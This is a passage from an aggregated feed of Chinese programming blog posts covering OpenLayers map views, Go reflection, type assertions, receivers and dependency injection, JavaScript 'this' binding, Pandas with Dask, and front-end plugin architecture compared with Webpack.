  • state:state是一个对象,包含 contentzoomrotationprojection属性。可以通过 view.getState() 获取
  const view = new View({
    center: [0, 0], // 地图中心点坐标
    zoom: 2, // 地图默认缩放级别
    rotation: Math.PI / 6, // 旋转角度
    maxZoom: 18, // 最大缩放级别
    minZoom: 1, // 最小缩放级别
    resolution: 10000, // 分辨率 resolution 值较小,地图显示的区域更小,精度更高。
    extent: [-180, -90, 180, 90], // 显示范围 四个参数分别为左下角经度、左下角纬度、右上角经度、右上角纬度。
    projection: "EPSG:4326", // 地图的坐标系,有EPSG:4326和EPSG:3857
  });

  const state = view.getState();
  console.log(state);

  map.setView(view);

image.png

可以看到,由于设置了 rotation 的原因,整个地图就进行了旋转

state 的打印:

image.png

Source 数据源

Source 负责加载和提供图层所需的数据。它是一个抽象类,ol 使用其子类。这些子类可用于加载xyz、OpenStreetMap或高德、Bing、Goole街景、天地图、超图等免费和商业地图切片服务,“WMS”或“WMTS”等OGC源,以及“GeoJSON”或KML等格式的矢量数据。

projection 地图投影

地图投影是一个数学过程,它将地球表面的三维坐标(如经度、纬度)转换为平面上的二维坐标。因为地球是一个球形的对象,而屏幕显示的是二维图像,所以不同的投影方法用来平衡地理精度和显示需求。

OpenLayers 支持的投影包括经典的地理坐标系(如 EPSG:4326)和广泛用于网络地图的投影坐标系(如 EPSG:3857)。

OpenLayers 默认使用 EPSG:3857(Web Mercator)作为地图的投影,

投影坐标系选择

  • 数据源的要求:如果你使用的是全球性的地图数据(如 OSM、Google Maps),通常推荐使用 EPSG:3857
  • 地理数据的精度需求:如果你需要展示精确的地理位置(如 GPS 数据),并且不需要太多的缩放,EPSG:4326 可能是更合适的选择。
  • 其他:每种投影都有其特定的属性,因此在某些特定区域,选择合适的投影可以提高地图的精度和表现效果。

使用多个投问题

在一个 Map 中只会使用一个投影,当 viewlayer 使用不同的投影坐标系时,OpenLayers 会自动将图层的坐标转换为视图使用的投影坐标系。这使得在不同投影之间切换时,图层仍然能够正确渲染。

💡

注意:这也可能带来一些性能问题和精度问题,特别是在高纬度地区或精确度要求较高的情况下。因此,最好在设计地图时确保视图和图层使用相同或兼容的投影坐标系。

关于作者

如果文章中有错误或不够详细的地方,欢迎在评论区指出 😺。在下一篇文章中,我将介绍如何在 OpenLayers 中使用来自不同平台的数据源来创建瓦片图层 😎。

by 杯面的汤 at January 31, 2025 07:02 AM

juejin backend

为什么Go语言中的反射 性能消耗更大呢?

Go 语言中的反射性能消耗更大,主要是由以下几个方面的原因导致的:

运行时类型检查

  • 静态类型检查与动态类型检查:在普通的 Go 代码中,类型检查是在编译阶段完成的,编译器可以提前确定变量的类型,从而进行优化。例如,当调用一个函数时,编译器知道函数参数和返回值的类型,能够直接生成高效的机器码。而反射是在运行时进行类型检查,程序需要在运行时动态地确定对象的类型和结构。这意味着反射操作不能利用编译时的优化,每次执行反射操作都需要进行额外的类型检查,增加了运行时的开销。
package main

import (
    "fmt"
    "reflect"
)

func main() {
    var num int = 42
    // 普通调用,编译时已知类型
    fmt.Println(num)
    // 反射调用,运行时检查类型
    value := reflect.ValueOf(num)
    fmt.Println(value.Int())
}
  • 类型信息的获取:反射需要通过 reflect.TypeOfreflect.ValueOf 等函数获取对象的类型和值信息。这些信息在运行时存储在内存中,获取这些信息需要进行额外的内存访问和处理。而且,对于复杂的类型,如嵌套结构体、接口等,获取类型信息的过程会更加复杂,进一步增加了性能开销。

方法调用和字段访问

  • 方法调用的间接性:使用反射调用方法时,需要先通过反射获取方法的描述信息,然后再调用该方法。这个过程涉及到多个步骤,包括查找方法、参数类型检查、方法调用的调度等,比直接调用方法要复杂得多。例如,直接调用一个结构体的方法可以直接通过函数指针进行跳转,而反射调用则需要在运行时进行一系列的查找和调度操作。
package main

import (
    "fmt"
    "reflect"
)

type Calculator struct{}

func (c Calculator) Add(a, b int) int {
    return a + b
}

func main() {
    calc := Calculator{}
    // 直接调用方法
    result1 := calc.Add(1, 2)
    fmt.Println(result1)

    // 反射调用方法
    value := reflect.ValueOf(calc)
    method := value.MethodByName("Add")
    if method.IsValid() {
        params := []reflect.Value{reflect.ValueOf(1), reflect.ValueOf(2)}
        results := method.Call(params)
        if len(results) > 0 {
            fmt.Println(results[0].Int())
        }
    }
}
  • 字段访问的复杂性:通过反射访问结构体的字段也需要进行额外的处理。反射需要在运行时查找字段的偏移量和类型信息,然后才能进行字段的读取或写入操作。这比直接访问结构体字段要慢得多,因为直接访问可以通过结构体的内存布局直接计算出字段的地址。

内存分配和垃圾回收

  • 额外的内存分配:反射操作通常会创建额外的对象,如 reflect.Typereflect.Value 等,这些对象需要在堆上分配内存。频繁的反射操作会导致大量的内存分配和释放,增加了内存管理的负担。而且,这些额外的对象在不再使用时需要被垃圾回收器回收,进一步增加了垃圾回收的压力。
  • 垃圾回收的影响:由于反射操作会产生大量的临时对象,垃圾回收器需要更频繁地运行来回收这些对象占用的内存。垃圾回收过程会暂停程序的执行,对程序的性能产生影响。特别是在高并发场景下,频繁的垃圾回收会导致程序的响应时间变长,吞吐量下降。

缺乏编译时优化

  • 静态代码优化的缺失:编译器在编译普通的 Go 代码时,可以进行各种优化,如内联函数调用、常量折叠、循环展开等,以提高代码的执行效率。而反射代码在运行时动态执行,编译器无法对其进行这些优化。反射操作的逻辑和数据都是在运行时确定的,编译器无法提前预测和优化,导致反射代码的执行效率相对较低。

综上所述,Go 语言中的反射由于运行时类型检查、方法调用和字段访问的复杂性、内存分配和垃圾回收的影响以及缺乏编译时优化等原因,导致其性能消耗比普通代码更大。因此,在性能敏感的场景中,应尽量避免使用反射,或者仅在必要时使用。

by 二进制之龙 at January 31, 2025 06:52 AM

Go 语言的类型断言和反射

在 Go 语言中,类型断言和反射都是用于处理接口值的重要机制,但它们在功能、使用方式、性能等方面存在显著区别,以下是详细介绍:

基本概念

  • 类型断言:类型断言是一种检查接口值底层具体类型的方式。它用于从接口值中提取出底层具体类型的值,或者判断接口值是否为某个特定类型。类型断言的语法形式为 x.(T),其中 x 是一个接口类型的变量,T 是一个具体类型。
  • 反射:反射是指在运行时检查和操作对象的类型和值的能力。Go 语言提供了 reflect 包来支持反射操作,通过反射可以获取对象的类型信息、调用对象的方法、修改对象的字段值等。

使用方式

类型断言

类型断言通常用于在已知可能的具体类型的情况下,对接口值进行类型检查和转换。它有两种形式:

  • 简单形式value := x.(T),如果 x 的底层类型不是 T,则会触发运行时 panic。
package main

import "fmt"

func main() {
    var x interface{} = "hello"
    // 简单形式,若类型不匹配会触发 panic
    value := x.(string)
    fmt.Println(value)
}
  • 安全形式value, ok := x.(T)ok 是一个布尔值,表示类型断言是否成功。如果成功,value 为转换后的值;如果失败,valueT 类型的零值,okfalse
package main

import "fmt"

func main() {
    var x interface{} = 123
    value, ok := x.(string)
    if ok {
        fmt.Println(value)
    } else {
        fmt.Println("类型断言失败")
    }
}

反射

反射通过 reflect 包中的函数和类型来实现,主要涉及 reflect.Typereflect.Value 两个核心类型:

  • reflect.Type 表示对象的类型信息,可以通过 reflect.TypeOf 函数获取。
  • reflect.Value 表示对象的值,可以通过 reflect.ValueOf 函数获取。
package main

import (
    "fmt"
    "reflect"
)

func main() {
    var num int = 42
    // 获取类型信息
    numType := reflect.TypeOf(num)
    // 获取值信息
    numValue := reflect.ValueOf(num)

    fmt.Println("Type:", numType)
    fmt.Println("Value:", numValue)
}

功能范围

类型断言

类型断言的功能相对单一,主要用于判断接口值是否为某个特定类型,并进行类型转换。它只能处理已知的具体类型,对于未知类型或需要动态处理的场景,类型断言的能力有限。

反射

反射的功能更强大和灵活,可以在运行时动态地获取对象的类型信息、调用对象的方法、修改对象的字段值等。它可以处理任意类型的对象,不需要提前知道对象的具体类型。

package main

import (
    "fmt"
    "reflect"
)

type Person struct {
    Name string
    Age  int
}

func main() {
    p := Person{Name: "Alice", Age: 30}
    // 获取反射值
    value := reflect.ValueOf(&p).Elem()

    // 修改字段值
    nameField := value.FieldByName("Name")
    if nameField.IsValid() && nameField.CanSet() {
        nameField.SetString("Bob")
    }

    fmt.Println(p) // 输出: {Bob 30}
}

性能差异

类型断言

类型断言的性能较高,因为它是在编译时或运行时进行简单的类型检查和转换,开销相对较小。在已知可能的具体类型的情况下,使用类型断言是首选的方式。

反射

反射的性能相对较低,因为它涉及到运行时的类型检查、方法调用和内存分配等操作,会带来一定的性能开销。反射操作通常比直接调用函数或访问字段慢很多,因此在性能要求较高的场景下,应谨慎使用反射。

代码复杂度

类型断言

类型断言的代码相对简洁易懂,语法简单,容易掌握。它适用于简单的类型检查和转换场景。

反射

反射的代码相对复杂,需要熟悉 reflect 包中的各种函数和类型,并且要处理各种可能的异常情况。反射通常用于处理复杂的动态场景,但会增加代码的复杂度和维护成本。

综上所述,类型断言和反射各有优缺点,应根据具体的应用场景选择合适的方式。在已知可能的具体类型且对性能要求较高的情况下,优先使用类型断言;在需要动态处理对象的类型和值的复杂场景下,可以考虑使用反射。

by 二进制之龙 at January 31, 2025 06:50 AM

类型断言和反射

在 Go 语言中,当函数的输入参数类型为 any(在 Go 1.18 及以后版本可用,之前版本为 interface{})时,若要判断这个 any 类型的值是否为切片或者数组,可以使用类型断言和反射两种方法,下面分别进行详细介绍:

方法一:使用类型断言

类型断言是一种检查接口值底层具体类型的方式,通过类型断言可以尝试将 any 类型的值转换为切片或数组类型,若转换成功则说明该值为对应的类型。

package main

import (
    "fmt"
)

func checkIfSliceOrArray(input any) {
    // 尝试将 input 断言为切片类型
    if _, ok := input.([]any); ok {
        fmt.Println("输入是切片")
        return
    }
    // 尝试将 input 断言为数组类型(这里以长度为 3 的 int 数组为例)
    if _, ok := input.([3]int); ok {
        fmt.Println("输入是数组")
        return
    }
    fmt.Println("输入既不是切片也不是数组")
}

func main() {
    slice := []int{1, 2, 3}
    array := [3]int{4, 5, 6}
    num := 10

    checkIfSliceOrArray(slice)
    checkIfSliceOrArray(array)
    checkIfSliceOrArray(num)
}

代码解释

  • checkIfSliceOrArray 函数中,首先使用类型断言 input.([]any) 尝试将 input 转换为切片类型,如果转换成功(oktrue),则说明输入是切片。
  • 接着使用类型断言 input.([3]int) 尝试将 input 转换为长度为 3 的 int 数组类型,如果转换成功,则说明输入是数组。
  • 如果以上两种类型断言都失败,则说明输入既不是切片也不是数组。

方法二:使用反射

反射是 Go 语言提供的一种在运行时检查和操作对象的机制,通过反射可以获取对象的类型信息,从而判断其是否为切片或数组。

package main

import (
    "fmt"
    "reflect"
)

func checkIfSliceOrArrayWithReflect(input any) {
    // 获取 input 的反射类型
    inputType := reflect.TypeOf(input)
    if inputType != nil {
        switch inputType.Kind() {
        case reflect.Slice:
            fmt.Println("输入是切片")
        case reflect.Array:
            fmt.Println("输入是数组")
        default:
            fmt.Println("输入既不是切片也不是数组")
        }
    } else {
        fmt.Println("输入是 nil")
    }
}

func main() {
    slice := []int{1, 2, 3}
    array := [3]int{4, 5, 6}
    num := 10

    checkIfSliceOrArrayWithReflect(slice)
    checkIfSliceOrArrayWithReflect(array)
    checkIfSliceOrArrayWithReflect(num)
}

代码解释

  • checkIfSliceOrArrayWithReflect 函数中,使用 reflect.TypeOf(input) 获取 input 的反射类型。
  • 通过 inputType.Kind() 获取该类型的具体种类,然后使用 switch 语句判断其是否为 reflect.Slicereflect.Array,如果是则分别输出相应信息,否则说明输入既不是切片也不是数组。
  • 如果 inputTypenil,则说明输入是 nil

两种方法的比较

  • 类型断言:代码简洁,性能较高,但只能针对特定的类型进行判断,如果需要判断多种不同类型的切片或数组,需要编写多个类型断言语句。
  • 反射:更加灵活,可以在运行时动态判断任意类型的切片或数组,但反射操作会带来一定的性能开销,因为它涉及到运行时的类型检查和操作。在性能要求较高的场景下,应谨慎使用反射。

by 二进制之龙 at January 31, 2025 06:43 AM

juejin frontend

💡JS-函数中的this是什么?不同环境可不一样

函数中的 this 值是什么?不同环境,不同模式,不同函数内,它的值是不一样的。

我们一个一个看看:

浏览器环境

非严格模式

function Test() {
console.log("test", this);
}

const Test2 = () => {
console.log("test2", this);
};



Test();

Test2();

代码的目的是看看,两个不同的函数,如果都是用直接调用的方法执行,其中的 this 是什么值?

那上面的代码,在浏览器中运行结果是什么?

显示,两次输出都是 window 对象

为什么?

在浏览器中,如果是直接调用普通的 function 函数,那么 function 函数中的 this 指向 window 对象。对于箭头函数来说,其中的 this 并不是由调用方式决定的,而是由其声明的环境决定的。其中的 this 的值继承自父级作用域。而全局作用域中,this 的值也是 window 对象

严格模式

那同样是浏览器环境,如果是严格模式的话,上面代码的执行结果是什么呢?

在代码的眼前,加上'use strict',就可以开启严格模式了

严格模式下,箭头函数的打印结果还是一样的,但对于 function 函数的打印结果不同。

ECMA 组织规定,这时候 function 函数,如果是直接调用,那么其中的 this 不再指向 window 这个全局对象了,而是 undefined

node 环境

非严格模式

好,浏览器环境讲完了,下面看看 node 环境。先在非严格模式下执行:

上面是 node 环境下的执行结果。其中 function 函数和箭头函数的输出是不一样的。function 函数中的 this 指向全局对象 global。而箭头函数中 this 是一个空对象!

下面改改代码,让 this 的指向更清楚:

function Test() {
console.log("test", this.name);
}

const Test2 = () => {
console.log("test2", this.name);
};

global.name = "test zenos";
exports.name = "test2 zenos";

Test();
Test2();

在执行两个函数之前,分别给 global 对象和 exports 对象添加了 name 属性。函数内容的 this 打印也改成了只打印 this 中的 name。

执行结果:

从结果可以看出,function 函数中的 this 指向全局对象 global。而箭头函数中 this 指向 exports 对象!

严格模式

那么,同样是 node 环境,严格模式下会有什么变化吗?

"use strict";
function Test() {
  // 这里是this
console.log("test", this);
}

const Test2 = () => {
console.log("test2", this.name);
};

global.name = "test zenos";
console.log(global.name);

Test();

exports.name = "test2 zenos";

Test2();

上面修改一些代码,下面是打印结果:

可以看到在严格模式下,直接调用的 function 中的 this 是 undefined。不过全局对象 global 还是有的。全局环境中的 this 还是和 exports 一致。

四种环境

画板

总结

本篇文章比较短,主要讲了不同环境中的 this 的值是什么?

  • 浏览器环境,
    • 非严格模式
      • function:window
      • 箭头 function:window
    • 非严格模式
      • function:undefined
      • 箭头 function:window
  • node 环境
    • 非严格模式
      • function:global
      • 箭头 function:exports
    • 非严格模式
      • function:undefined
      • 箭头 function:exports

最后一个问题,为什么在 node 环境中,this 的值是 exports?理解需要一点模块化的知识,这个我们后面再讲

by 慢功夫 at January 31, 2025 06:40 AM

juejin backend

Go 方法 值类型和指针类型

在 Go 语言里,为类型实现接口时,接收者可以是值类型((a A))或者指针类型((a *A)),这两种方式存在显著区别,下面从内存操作、方法内部修改、调用方式以及接口实现的兼容性这几个方面进行详细分析:

1. 内存操作

  • 值接收者 (a A):当使用值接收者实现接口方法时,调用该方法会对原始对象进行一次复制,方法内部操作的是对象的副本,而不是原始对象。这意味着在方法内部对接收者的修改不会影响到原始对象。
  • 指针接收者 (a *A):使用指针接收者实现接口方法时,传递给方法的是原始对象的内存地址,方法内部直接操作的是原始对象,不会产生对象的副本。因此,在方法内部对接收者的修改会直接影响到原始对象。

2. 方法内部修改

  • 值接收者 (a A):由于操作的是对象副本,在方法内部修改接收者的属性或元素不会影响原始对象。
    package main
    
    import "fmt"
    
    type A struct {
        Value int
    }
    
    // 定义接口
    type InterfaceA interface {
        Modify()
    }
    
    // 使用值接收者实现接口方法
    func (a A) Modify() {
        a.Value = 100
    }
    
    func main() {
        a := A{Value: 1}
        var i InterfaceA = a
        i.Modify()
        fmt.Println(a.Value) // 输出: 1,原始对象未被修改
    }
    
  • 指针接收者 (a *A):因为操作的是原始对象,在方法内部修改接收者的属性或元素会影响原始对象。
    package main
    
    import "fmt"
    
    type A struct {
        Value int
    }
    
    // 定义接口
    type InterfaceA interface {
        Modify()
    }
    
    // 使用指针接收者实现接口方法
    func (a *A) Modify() {
        a.Value = 100
    }
    
    func main() {
        a := A{Value: 1}
        var i InterfaceA = &a
        i.Modify()
        fmt.Println(a.Value) // 输出: 100,原始对象被修改
    }
    

3. 调用方式

  • 值接收者 (a A):既可以使用值类型的变量调用方法,也可以使用指针类型的变量调用方法。Go 语言会自动进行转换。
    package main
    
    import "fmt"
    
    type A struct{}
    
    // 定义接口
    type InterfaceA interface {
        Print()
    }
    
    // 使用值接收者实现接口方法
    func (a A) Print() {
        fmt.Println("Printing from value receiver")
    }
    
    func main() {
        a := A{}
        var i InterfaceA = a
        i.Print() // 可以使用值类型调用
    
        ptrA := &a
        i = ptrA
        i.Print() // 也可以使用指针类型调用
    }
    
  • 指针接收者 (a *A):通常只能使用指针类型的变量调用方法。如果使用值类型的变量调用,需要先获取其地址。
    package main
    
    import "fmt"
    
    type A struct{}
    
    // 定义接口
    type InterfaceA interface {
        Print()
    }
    
    // 使用指针接收者实现接口方法
    func (a *A) Print() {
        fmt.Println("Printing from pointer receiver")
    }
    
    func main() {
        a := A{}
        var i InterfaceA = &a
        i.Print() // 必须使用指针类型调用
    
        // 以下代码会编译错误
        // i = a 
        // i.Print() 
    }
    

4. 接口实现的兼容性

  • 值接收者 (a A):实现了接口的类型的值和指针都可以赋值给该接口类型的变量。
  • 指针接收者 (a *A):只有实现了接口的类型的指针才能赋值给该接口类型的变量,值类型不能直接赋值。

总结

  • 如果方法不需要修改接收者的状态,或者需要进行值传递(如需要副本),可以使用值接收者。
  • 如果方法需要修改接收者的状态,或者为了避免复制大对象带来的性能开销,应该使用指针接收者。

by 二进制之龙 at January 31, 2025 06:31 AM

Go语言 依赖注入

在Go语言中,依赖注入(Dependency Injection,简称DI)是一种设计模式,用于实现松耦合和可测试性的代码。通过依赖注入,对象的依赖关系由外部提供,而不是在对象内部创建,这使得代码更加灵活和可维护。以下是几种常见的Go语言依赖注入方案:

1. 手动依赖注入

手动依赖注入是最基本的方式,通过构造函数或方法参数将依赖项传递给对象。

示例代码

package main

import "fmt"

// Logger 定义一个日志接口
type Logger interface {
    Log(message string)
}

// ConsoleLogger 实现 Logger 接口
type ConsoleLogger struct{}

func (c *ConsoleLogger) Log(message string) {
    fmt.Println("Logging:", message)
}

// UserService 依赖于 Logger 接口
type UserService struct {
    logger Logger
}

// NewUserService 构造函数,用于注入 Logger 依赖
func NewUserService(logger Logger) *UserService {
    return &UserService{
       logger: logger,
    }
}

// CreateUser 方法使用注入的 Logger 记录日志
func (u *UserService) CreateUser(name string) {
    u.logger.Log("Creating user: " + name)
    // 实际创建用户的逻辑
}

func main() {
    logger := &ConsoleLogger{}
    userService := NewUserService(logger)
    userService.CreateUser("John Doe")
}

解释

  • 定义了一个Logger接口和其实现ConsoleLogger
  • UserService结构体依赖于Logger接口,通过NewUserService构造函数注入Logger实例。
  • main函数中,创建ConsoleLogger实例并注入到UserService中。

2. 使用Go-kit的依赖注入

Go-kit是一个用于构建微服务的工具包,它提供了一些辅助函数和接口来实现依赖注入。

示例代码

package main

import (
    "context"
    "fmt"

    "github.com/go-kit/kit/log"
)

// UserService 依赖于 Logger
type UserService struct {
    logger log.Logger
}

// NewUserService 构造函数,用于注入 Logger 依赖
func NewUserService(logger log.Logger) *UserService {
    return &UserService{
       logger: logger,
    }
}

// CreateUser 方法使用注入的 Logger 记录日志
func (u *UserService) CreateUser(ctx context.Context, name string) {
    u.logger.Log("msg", "Creating user", "name", name)
    // 实际创建用户的逻辑
}

func main() {
    logger := log.NewLogfmtLogger(log.NewSyncWriter(fmt.Stdout))
    userService := NewUserService(logger)
    userService.CreateUser(context.Background(), "Jane Smith")
}

解释

  • 使用Go-kit的log.Logger接口和log.NewLogfmtLogger创建日志记录器。
  • UserService依赖于log.Logger,通过构造函数注入。

3. 使用Google的Wire

Google的Wire是一个用于Go语言的依赖注入代码生成工具,它可以自动生成依赖注入的代码,减少手动编写的工作量。

示例代码

package main

import (
    "fmt"
)

// Logger 定义一个日志接口
type Logger interface {
    Log(message string)
}

// ConsoleLogger 实现 Logger 接口
type ConsoleLogger struct{}

func (c *ConsoleLogger) Log(message string) {
    fmt.Println("Logging:", message)
}

// UserService 依赖于 Logger 接口
type UserService struct {
    logger Logger
}

// NewUserService 构造函数,用于注入 Logger 依赖
func NewUserService(logger Logger) *UserService {
    return &UserService{
       logger: logger,
    }
}

// CreateUser 方法使用注入的 Logger 记录日志
func (u *UserService) CreateUser(name string) {
    u.logger.Log("Creating user: " + name)
    // 实际创建用户的逻辑
}

// wire.go
//go:build wireinject
// +build wireinject

import "github.com/google/wire"

func InitializeUserService() *UserService {
    wire.Build(NewUserService, new(ConsoleLogger))
    return nil
}

使用步骤

  1. 安装Wire:go install github.com/google/wire/cmd/wire@latest
  2. 在项目根目录下运行wire命令,Wire会自动生成wire_gen.go文件。
  3. 在代码中使用生成的InitializeUserService函数创建UserService实例。

4. 使用Dig

Dig是一个用于Go语言的依赖注入容器,它允许你通过注解和反射来管理依赖关系。

示例代码

package main

import (
    "fmt"

    "go.uber.org/dig"
)

// Logger 定义一个日志接口
type Logger interface {
    Log(message string)
}

// ConsoleLogger 实现 Logger 接口
type ConsoleLogger struct{}

func (c *ConsoleLogger) Log(message string) {
    fmt.Println("Logging:", message)
}

// UserService 依赖于 Logger 接口
type UserService struct {
    logger Logger
}

// NewUserService 构造函数,用于注入 Logger 依赖
func NewUserService(logger Logger) *UserService {
    return &UserService{
       logger: logger,
    }
}

// CreateUser 方法使用注入的 Logger 记录日志
func (u *UserService) CreateUser(name string) {
    u.logger.Log("Creating user: " + name)
    // 实际创建用户的逻辑
}

func main() {
    container := dig.New()

    // 提供依赖项
    container.Provide(func() Logger {
       return &ConsoleLogger{}
    })
    container.Provide(NewUserService)

    // 执行函数,注入依赖项
    err := container.Invoke(func(userService *UserService) {
       userService.CreateUser("Bob Johnson")
    })
    if err != nil {
       fmt.Println("Error:", err)
    }
}

解释

  • 使用Dig创建一个容器container
  • 通过container.Provide方法注册依赖项。
  • 使用container.Invoke方法执行函数并注入依赖项。

by 二进制之龙 at January 31, 2025 06:15 AM

Pandas高级数据处理:分布式计算

一、引言

随着数据量的不断增加,传统的Pandas单机处理方式已经难以满足大规模数据处理的需求。分布式计算为解决这一问题提供了有效的方案。本文将由浅入深地介绍Pandas在分布式计算中的常见问题、常见报错及如何避免或解决,并通过代码案例进行解释。

image.png

二、Dask简介

Dask是Pandas的一个很好的补充,它允许我们使用类似于Pandas的API来处理分布式数据。Dask可以自动将任务分配到多个核心或节点上执行,从而提高数据处理的速度。与Pandas相比,Dask的主要优势在于它可以处理比内存更大的数据集,并且可以在多台机器上并行运行。

三、常见问题

1. 数据加载

在分布式环境中,数据加载是一个重要的步骤。我们需要确保数据能够被正确地分割并加载到各个节点中。

  • 问题:当数据量非常大时,可能会遇到内存不足的问题。
  • 解决方案:使用dask.dataframe.read_csv()等函数代替Pandas的read_csv()。Dask会根据文件大小和可用资源自动调整块大小,从而避免一次性加载过多数据到内存中。
import dask.dataframe as dd
df = dd.read_csv('large_file.csv')

2. 数据类型推断

Dask需要对数据类型进行推断以便更好地优化计算过程。

  • 问题:如果数据类型推断错误,可能会导致性能下降甚至程序崩溃。
  • 解决方案:可以通过指定dtype参数来显式定义数据类型,减少不必要的转换开销。
df = dd.read_csv('data.csv', dtype={'column1': 'float64', 'column2': 'int32'})

3. 分区管理

合理的分区对于分布式计算至关重要。过少或过多的分区都会影响性能。

  • 问题:默认情况下,Dask可能不会为我们选择最优的分区数。
  • 解决方案:根据实际需求调整分区数量。例如,可以通过repartition()方法重新设置分区数目。
df = df.repartition(npartitions=10)

四、常见报错及解决方法

1. 内存溢出

  • 报错信息:MemoryError

  • 原因分析:尝试一次性处理的数据量超出了系统内存限制。

  • 解决措施

    • 使用Dask替代Pandas进行大数据处理;
    • 对于Dask本身,检查是否有未释放的中间结果占用过多内存,及时清理不再使用的变量;
    • 调整Dask的工作线程数或进程数以适应硬件条件。

2. 类型不匹配

  • 报错信息:TypeError
  • 原因分析:操作过程中涉及到了不同类型的对象之间的非法运算。
  • 解决措施:仔细检查参与运算的各列的数据类型是否一致;必要时使用astype()转换数据类型。

3. 网络通信失败

  • 报错信息:ConnectionError
  • 原因分析:集群内部网络连接不稳定或者配置不当。
  • 解决措施:确保所有节点之间网络畅通无阻;正确配置防火墙规则允许必要的端口通信;检查集群管理软件(如YARN)的状态。

五、总结

通过引入Dask库,我们可以轻松实现Pandas的分布式计算,极大地提高了数据处理效率。然而,在实际应用过程中也会遇到各种各样的挑战。了解这些常见问题及其对应的解决办法有助于我们更加顺利地开展工作。希望本文能够帮助大家更好地掌握Pandas分布式计算的相关知识。

by Jimaks at January 31, 2025 05:56 AM

juejin frontend

✨深入解析前端插件机制:以埋点SDK与Webpack为例

最近在做前端监控的全链路项目, 刚好埋点SDK这边的架构设计需要用到插件机制, 就想着和之前学过的webpack插件机制进行一个类比, 看看有哪些共通和差异之处

在现代软件开发中,插件机制是实现系统扩展性和灵活性的核心设计模式之一。无论是前端监控工具还是构建工具,插件机制都在背后发挥着重要作用。本文将以 ByteTop 监控 SDK(暂未开源) 和 Webpack 构建工具 为例,深入探讨两者的插件机制设计异同,并揭示其背后的设计哲学。

一、插件机制的核心价值

1. 模块化与解耦

插件机制通过将核心功能与扩展功能分离,使得系统能够在不修改核心代码的情况下扩展能力。例如:

  • ByteTop:通过插件实现行为监控、性能采集等独立功能模块。
  • Webpack:通过插件处理代码压缩、资源优化等构建阶段任务。

2. 灵活性与可扩展性

开发者可以根据需求动态加载或替换插件,例如:

  • ByteTop 按需加载广告监控插件。
  • Webpack 通过 html-webpack-plugin 动态生成 HTML 文件。

3. 生态共建

开放的插件机制吸引社区贡献,形成丰富的工具生态。例如:

  • Webpack 社区有超过 1000 个插件。
  • ByteTop 未来计划构建插件市场支持第三方扩展。

二、插件机制的本质:通过解耦和扩展赋予系统生命力

插件机制的核心目标是通过模块化解耦赋予系统扩展性,但不同场景下的设计选择可能截然不同。例如:

  • 监控类工具(ByteTop):要求高稳定性,插件崩溃不能影响核心功能。
  • 构建工具(Webpack):追求灵活性和流程控制,插件需深度介入构建链路。

通过对比两者的设计差异,我们可以更清晰地理解如何根据业务场景选择插件模型

先来看下ByteTop 与 Webpack 插件机制的异同

1. 相同点

维度ByteTopWebpack
扩展性通过插件扩展监控能力通过插件扩展构建流程
生命周期插件需实现 init/start/stop插件通过钩子介入不同阶段
事件驱动基于事件总线通信基于 Tapable 钩子通信

2. 核心差异

维度ByteTopWebpack
运行环境插件运行在沙箱中(隔离环境)插件运行在主进程(共享环境)
错误处理熔断机制 + 异常隔离,崩溃不影响核心插件错误可能导致整个构建失败
性能优化动态采样 + 资源配额控制依赖插件自身优化(如缓存、并行处理)
通信方式事件总线 + 异步队列同步/异步钩子 + 共享上下文对象
核心目标高可用性(监控场景不可中断)高效率(快速完成构建任务)

三、这两个插件机制的详解

先来看ByteTop监控SDK的👇

1. 架构设计

ByteTop 采用 内核(Core)+ 插件(Plugin) 的沙箱化架构:

  • 内核:负责插件管理、事件总线、上报队列等基础服务。
  • 插件:独立运行在沙箱环境(如 Web Worker),通过事件总线与内核通信。

核心特性:

  • 异常隔离:单个插件崩溃不影响整体 SDK。
  • 动态采样:根据系统负载调整数据采集频率。
  • 熔断机制:插件连续失败后自动降级。

代码示例:

// 插件定义
class ClickTrackerPlugin implements IPlugin {
  name = 'click-tracker';
  init(config) {
    this.sampleRate = config.get('clickSampleRate');
  }
  start() {
    document.addEventListener('click', (e) => {
      if (Math.random() < this.sampleRate) {
        this.core.report({ type: 'CLICK', data: { target: e.target } });
      }
    });
  }
}

2. 通信机制

  • 事件总线(Event Bus):插件通过订阅/发布模式与内核交互。
  • 数据上报队列:异步批量处理数据,减少网络请求开销。

接下来是 Webpack 的👇

1. 架构设计

Webpack 的插件机制基于 Tapable 事件流,通过钩子(Hooks)介入构建流程的不同阶段:

  • Compiler:核心编译器实例,暴露构建生命周期钩子。
  • Compilation:单次编译过程的上下文,管理模块依赖和资源生成。

核心特性:

  • 声明式钩子:如 emit(生成资源前)、done(构建完成)等。
  • 同步/异步执行:支持串行、并行、瀑布流等执行模式。
  • 上下文共享:插件通过 compilercompilation 对象访问构建状态。

代码示例:

// 一个简单的 Webpack 插件
class LogOnDonePlugin {
  apply(compiler) {
    compiler.hooks.done.tap('LogOnDonePlugin', (stats) => {
      console.log('构建已完成!');
    });
  }
}

2. 通信机制

  • 钩子注入:插件通过 tap 方法注册回调逻辑。
  • 事件驱动:构建过程中的每个阶段触发对应的钩子事件。

四、直击核心:5 个关键问题揭示设计差异

问题 1:插件崩溃是否会导致系统崩溃?

  • ByteTop

    • 沙箱隔离:每个插件运行在独立 Web Worker 中。
    • 熔断机制:插件连续失败后自动降级,内核通过 window.onerror 兜底。
    • 数据佐证:在 Chrome 中测试,模拟插件内存泄漏,SDK 主线程崩溃率降低 99%。
  • Webpack

    • 共享进程:插件运行在主进程,未捕获异常会导致构建失败。
    • 典型案例:若 UglifyJsPlugin 配置错误,整个构建流程终止。

问题 2:插件如何与核心系统通信?

ByteTop 的 事件总线 + 异步队列

// 插件通过事件总线订阅页面加载事件  
core.eventBus.subscribe('PAGE_LOADED', (data) => {  
  this.reportPerformance(data);  
});  

// 数据上报进入异步队列,由内核批量处理  
core.reportQueue.add({ type: 'PERF', data });  

优势:解耦插件与上报逻辑,网络波动时自动重试。

Webpack 的 Tapable 钩子 + 共享上下文

// 插件通过钩子介入资源生成阶段  
compiler.hooks.emit.tapAsync('MyPlugin', (compilation, callback) => {  
  compilation.assets['manifest.json'] = generateManifest();  
  callback();  
});  

优势:直接操作编译上下文,实现深度定制。


问题 3:如何控制插件对性能的影响?

维度ByteTopWebpack
CPU动态采样(负载高时降低采集频率)并行处理(如 HappyPack 多线程编译)
内存插件内存限制(超过 10MB 告警)依赖插件自身优化(如缓存)
网络数据压缩 + 令牌桶限流不涉及网络传输

问题 4:插件生态如何发展?

  • ByteTop

    • 面向垂直场景:监控、埋点、性能分析。
    • 生态现状:内置官方插件,第三方插件需严格审核。
  • Webpack

